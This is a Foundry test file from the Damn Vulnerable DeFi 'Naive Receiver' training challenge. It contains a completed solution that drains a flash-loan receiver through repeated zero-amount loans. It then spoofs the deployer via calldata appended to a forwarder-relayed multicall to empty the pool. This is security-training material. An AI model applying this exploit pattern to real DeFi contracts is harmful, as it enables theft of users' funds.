-
Notifications
You must be signed in to change notification settings - Fork 116
/
NaiveReceiver.t.sol
132 lines (107 loc) · 4.22 KB
/
NaiveReceiver.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {NaiveReceiverPool, Multicall, WETH} from "../../src/naive-receiver/NaiveReceiverPool.sol";
import {FlashLoanReceiver} from "../../src/naive-receiver/FlashLoanReceiver.sol";
import {BasicForwarder} from "../../src/naive-receiver/BasicForwarder.sol";
contract NaiveReceiverChallenge is Test {
address deployer = makeAddr("deployer");
address recovery = makeAddr("recovery");
address player;
uint256 playerPk;
uint256 constant WETH_IN_POOL = 1000e18;
uint256 constant WETH_IN_RECEIVER = 10e18;
NaiveReceiverPool pool;
WETH weth;
FlashLoanReceiver receiver;
BasicForwarder forwarder;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
(player, playerPk) = makeAddrAndKey("player");
startHoax(deployer);
// Deploy WETH
weth = new WETH();
// Deploy forwarder
forwarder = new BasicForwarder();
// Deploy pool and fund with ETH
pool = new NaiveReceiverPool{value: WETH_IN_POOL}(address(forwarder), payable(weth), deployer);
// Deploy flashloan receiver contract and fund it with some initial WETH
receiver = new FlashLoanReceiver(address(pool));
weth.deposit{value: WETH_IN_RECEIVER}();
weth.transfer(address(receiver), WETH_IN_RECEIVER);
vm.stopPrank();
}
function test_assertInitialState() public {
// Check initial balances
assertEq(weth.balanceOf(address(pool)), WETH_IN_POOL);
assertEq(weth.balanceOf(address(receiver)), WETH_IN_RECEIVER);
// Check pool config
assertEq(pool.maxFlashLoan(address(weth)), WETH_IN_POOL);
assertEq(pool.flashFee(address(weth), 0), 1 ether);
assertEq(pool.feeReceiver(), deployer);
// Cannot call receiver
vm.expectRevert(0x48f5c3ed);
receiver.onFlashLoan(
deployer,
address(weth), // token
WETH_IN_RECEIVER, // amount
1 ether, // fee
bytes("") // data
);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_naiveReceiver() public checkSolvedByPlayer {
bytes[] memory callDatas = new bytes[](11);
for(uint i=0; i<10; i++){
callDatas[i] = abi.encodeCall(NaiveReceiverPool.flashLoan, (receiver, address(weth), 0, "0x"));
}
callDatas[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))),
bytes32(uint256(uint160(deployer)))
);
bytes memory callData;
callData = abi.encodeCall(pool.multicall, callDatas);
BasicForwarder.Request memory request = BasicForwarder.Request(
player,
address(pool),
0,
30000000,
forwarder.nonces(player),
callData,
1 days
);
bytes32 requestHash = keccak256(
abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
)
);
(uint8 v, bytes32 r, bytes32 s)= vm.sign(playerPk ,requestHash);
bytes memory signature = abi.encodePacked(r, s, v);
require(forwarder.execute(request, signature));
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player must have executed two or less transactions
assertLe(vm.getNonce(player), 2);
// The flashloan receiver contract has been emptied
assertEq(weth.balanceOf(address(receiver)), 0, "Unexpected balance in receiver contract");
// Pool is empty too
assertEq(weth.balanceOf(address(pool)), 0, "Unexpected balance in pool");
// All funds sent to recovery account
assertEq(weth.balanceOf(recovery), WETH_IN_POOL + WETH_IN_RECEIVER, "Not enough WETH in recovery account");
}
}